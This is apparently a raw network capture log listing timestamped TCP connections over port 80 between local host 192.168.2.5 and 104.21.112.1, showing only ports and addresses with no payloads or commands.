Jan 8, 2025 17:14:01.707508087 CET	80	50064	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:01.754358053 CET	50065	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:01.762227058 CET	80	50065	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:01.762238026 CET	80	50065	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:01.762350082 CET	80	50065	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:01.883395910 CET	80	50065	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:01.918657064 CET	80	50064	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:01.922147989 CET	50064	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:01.971962929 CET	80	50064	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:02.019891024 CET	50065	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:02.044538021 CET	80	50065	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:02.129272938 CET	50064	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:02.207400084 CET	50065	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:02.441144943 CET	50064	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:02.441219091 CET	50065	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:02.448677063 CET	80	50064	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:02.448693037 CET	80	50065	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:02.448785067 CET	50064	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:02.448803902 CET	50065	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:02.644992113 CET	50066	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:02.650329113 CET	80	50066	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:02.650424004 CET	50066	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:02.651886940 CET	50066	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:02.656972885 CET	80	50066	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.004832983 CET	50066	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:03.011116982 CET	80	50066	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.011132956 CET	80	50066	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.011148930 CET	80	50066	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.128411055 CET	80	50066	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.238641024 CET	50066	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:03.374466896 CET	80	50066	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.426167965 CET	50066	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:03.531460047 CET	50066	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:03.532370090 CET	50067	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:03.536482096 CET	80	50066	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.536534071 CET	50066	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:03.537192106 CET	80	50067	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.537249088 CET	50067	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:03.537370920 CET	50067	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:03.542433023 CET	80	50067	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.895124912 CET	50067	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:03.900108099 CET	80	50067	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.900120974 CET	80	50067	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.900130987 CET	80	50067	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:03.981453896 CET	80	50067	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:04.148511887 CET	80	50067	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:04.148816109 CET	50067	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:04.268086910 CET	50067	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:04.273046970 CET	80	50067	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:04.273106098 CET	50067	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:04.273504019 CET	50068	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:04.278273106 CET	80	50068	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:04.278359890 CET	50068	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:04.278474092 CET	50068	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:04.283216000 CET	80	50068	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:04.631182909 CET	50068	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:04.636555910 CET	80	50068	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:04.636569977 CET	80	50068	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:04.636579037 CET	80	50068	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:04.724082947 CET	80	50068	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:04.816790104 CET	50068	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:04.904283047 CET	80	50068	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:05.019890070 CET	50068	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:05.354274035 CET	50068	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:05.359355927 CET	80	50068	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:05.359431982 CET	50068	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:05.545811892 CET	50069	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:05.550659895 CET	80	50069	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:05.550728083 CET	50069	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:05.550946951 CET	50069	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:05.555700064 CET	80	50069	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:05.895107985 CET	50069	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:05.900122881 CET	80	50069	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:05.900146008 CET	80	50069	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:05.900156021 CET	80	50069	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.015132904 CET	80	50069	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.129267931 CET	50069	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.263859034 CET	80	50069	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.394227028 CET	50069	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.395749092 CET	50070	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.399329901 CET	80	50069	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.399399042 CET	50069	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.400549889 CET	80	50070	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.400614977 CET	50070	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.400717974 CET	50070	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.405457973 CET	80	50070	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.754622936 CET	50070	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.759747028 CET	80	50070	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.759874105 CET	80	50070	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.759884119 CET	80	50070	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.857709885 CET	80	50070	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.974432945 CET	50071	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.975266933 CET	50070	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.979418993 CET	80	50071	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.979496956 CET	50071	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.979677916 CET	50071	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.980436087 CET	80	50070	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:06.980499029 CET	50070	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:06.984441996 CET	80	50071	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:07.332565069 CET	50071	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:07.337609053 CET	80	50071	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:07.337620974 CET	80	50071	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:07.423688889 CET	80	50071	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:07.504924059 CET	50072	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:07.509821892 CET	80	50072	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:07.509963989 CET	50072	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:07.510102034 CET	50072	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:07.514861107 CET	80	50072	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:07.629309893 CET	50071	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:07.697705984 CET	80	50071	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:07.867140055 CET	50072	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:07.883383989 CET	80	50072	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:07.883402109 CET	80	50072	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:07.883411884 CET	80	50072	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:07.926160097 CET	50071	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:07.973277092 CET	80	50072	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:08.019907951 CET	50072	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:08.208106041 CET	80	50072	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:08.298669100 CET	80	50072	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:08.302239895 CET	50072	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:08.696146011 CET	50071	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:08.696223021 CET	50072	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:08.697710037 CET	50073	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:08.702511072 CET	80	50071	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:08.702610970 CET	50071	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:08.702794075 CET	80	50072	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:08.702843904 CET	50072	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:08.703767061 CET	80	50073	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:08.703851938 CET	50073	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:08.704027891 CET	50073	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:08.709057093 CET	80	50073	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.051333904 CET	50073	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:09.056258917 CET	80	50073	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.056272030 CET	80	50073	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.056282043 CET	80	50073	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.163516998 CET	80	50073	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.238692999 CET	50073	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:09.340553045 CET	80	50073	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.426281929 CET	50073	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:09.430212975 CET	80	50073	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.535526037 CET	50073	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:09.550540924 CET	50073	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:09.551230907 CET	50074	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:09.555624962 CET	80	50073	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.555708885 CET	50073	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:09.556101084 CET	80	50074	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.556175947 CET	50074	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:09.556314945 CET	50074	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:09.561104059 CET	80	50074	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.910662889 CET	50074	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:09.915618896 CET	80	50074	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.915653944 CET	80	50074	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:09.915663004 CET	80	50074	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:10.003874063 CET	80	50074	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:10.207451105 CET	50074	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:10.246557951 CET	80	50074	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:10.317574024 CET	50074	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:10.378973007 CET	50074	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:10.380706072 CET	50075	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:10.384192944 CET	80	50074	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:10.384974957 CET	50074	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:10.385550976 CET	80	50075	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:10.390219927 CET	50075	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:10.390377045 CET	50075	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:10.395174980 CET	80	50075	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:10.739021063 CET	50075	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:10.744067907 CET	80	50075	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:10.744086027 CET	80	50075	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:10.744093895 CET	80	50075	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:10.866142035 CET	80	50075	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:11.035571098 CET	50075	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:11.117414951 CET	80	50075	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:11.183007956 CET	50075	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:11.240005970 CET	50075	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:11.240636110 CET	50076	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:11.245083094 CET	80	50075	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:11.245150089 CET	50075	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:11.245412111 CET	80	50076	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:11.245480061 CET	50076	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:11.245580912 CET	50076	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:11.250332117 CET	80	50076	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:11.598278999 CET	50076	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:11.603230953 CET	80	50076	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:11.603243113 CET	80	50076	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:11.603251934 CET	80	50076	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:11.708601952 CET	80	50076	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:11.922523022 CET	80	50076	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:11.923191071 CET	50076	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:11.946995020 CET	80	50076	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.035514116 CET	50076	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.069168091 CET	50076	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.072959900 CET	50077	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.074553967 CET	80	50076	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.074611902 CET	50076	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.077950954 CET	80	50077	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.078047991 CET	50077	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.078146935 CET	50077	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.082902908 CET	80	50077	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.426353931 CET	50077	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.431339979 CET	80	50077	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.431351900 CET	80	50077	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.431360006 CET	80	50077	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.523612976 CET	80	50077	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.709626913 CET	50078	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.715233088 CET	80	50078	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.715321064 CET	50078	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.715471029 CET	50078	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.720448017 CET	80	50078	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.723022938 CET	50077	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.739968061 CET	50077	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.764487028 CET	80	50077	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:12.764653921 CET	50077	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:12.997041941 CET	50079	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.001924038 CET	80	50079	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.002010107 CET	50079	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.002216101 CET	50079	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.007229090 CET	80	50079	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.067307949 CET	50078	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.074875116 CET	80	50078	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.074887991 CET	80	50078	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.179564953 CET	80	50078	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.238646984 CET	50078	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.346962929 CET	80	50078	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.348176956 CET	50079	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.353034973 CET	80	50079	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.353045940 CET	80	50079	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.353056908 CET	80	50079	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.441766024 CET	50078	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.455404043 CET	80	50079	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.519896030 CET	50079	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.629724026 CET	80	50079	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.707386017 CET	50079	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.750238895 CET	50078	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.750417948 CET	50079	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.752007961 CET	50080	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.756913900 CET	80	50080	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.756985903 CET	50080	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.757082939 CET	50080	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.761843920 CET	80	50080	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.765084028 CET	80	50078	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.765094042 CET	80	50079	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:13.765131950 CET	50078	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:13.765146017 CET	50079	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:14.113745928 CET	50080	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:14.119431973 CET	80	50080	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:14.119446039 CET	80	50080	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:14.119453907 CET	80	50080	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:14.224468946 CET	80	50080	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:14.316781044 CET	50080	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:14.458785057 CET	80	50080	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:14.519927979 CET	50080	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:14.581922054 CET	50081	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:14.586873055 CET	80	50081	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:14.590193033 CET	50081	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:14.590317965 CET	50081	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:14.595079899 CET	80	50081	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:14.942109108 CET	50081	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:14.947947979 CET	80	50081	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:14.947961092 CET	80	50081	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:14.947969913 CET	80	50081	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:15.042577982 CET	80	50081	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:15.238662958 CET	50081	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:15.278409004 CET	80	50081	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:15.421247005 CET	50081	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:15.422281027 CET	50082	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:15.426256895 CET	80	50081	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:15.426312923 CET	50081	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:15.427129984 CET	80	50082	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:15.427196980 CET	50082	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:15.427294970 CET	50082	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:15.432106018 CET	80	50082	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:15.785809994 CET	50082	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:15.790838003 CET	80	50082	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:15.790854931 CET	80	50082	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:15.790863991 CET	80	50082	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:15.899221897 CET	80	50082	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:16.019916058 CET	50082	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:16.061072111 CET	80	50082	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:16.191271067 CET	50082	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:16.191972971 CET	50083	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:16.196371078 CET	80	50082	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:16.196435928 CET	50082	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:16.196783066 CET	80	50083	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:16.196952105 CET	50083	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:16.197083950 CET	50083	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:16.201812983 CET	80	50083	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:16.551284075 CET	50083	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:16.556273937 CET	80	50083	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:16.556287050 CET	80	50083	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:16.556298018 CET	80	50083	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:16.640945911 CET	80	50083	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:16.738648891 CET	50083	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:16.880630016 CET	80	50083	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:16.926284075 CET	50083	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.041595936 CET	50083	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.042227030 CET	50084	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.046797037 CET	80	50083	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.046858072 CET	50083	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.047025919 CET	80	50084	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.047089100 CET	50084	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.047188997 CET	50084	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.051954031 CET	80	50084	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.395009995 CET	50084	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.399955988 CET	80	50084	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.399967909 CET	80	50084	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.399976969 CET	80	50084	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.516134024 CET	80	50084	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.629295111 CET	50084	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.688308001 CET	80	50084	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.738732100 CET	50084	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.778137922 CET	80	50084	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.899904966 CET	50084	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.904344082 CET	50085	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.905006886 CET	80	50084	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.905062914 CET	50084	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.909140110 CET	80	50085	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:17.909205914 CET	50085	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.909302950 CET	50085	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:17.914069891 CET	80	50085	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.254455090 CET	50085	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:18.259357929 CET	80	50085	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.259370089 CET	80	50085	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.259377956 CET	80	50085	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.351058006 CET	50086	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:18.351538897 CET	50085	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:18.356472015 CET	80	50086	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.356625080 CET	50086	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:18.356720924 CET	50086	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:18.357198000 CET	80	50085	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.357253075 CET	50085	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:18.362138987 CET	80	50086	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.494281054 CET	50087	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:18.499084949 CET	80	50087	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.499160051 CET	50087	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:18.499248028 CET	50087	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:18.503976107 CET	80	50087	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.707510948 CET	50086	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:18.712359905 CET	80	50086	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.712584019 CET	80	50086	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:18.820144892 CET	80	50086	104.21.112.1	192.168.2.5
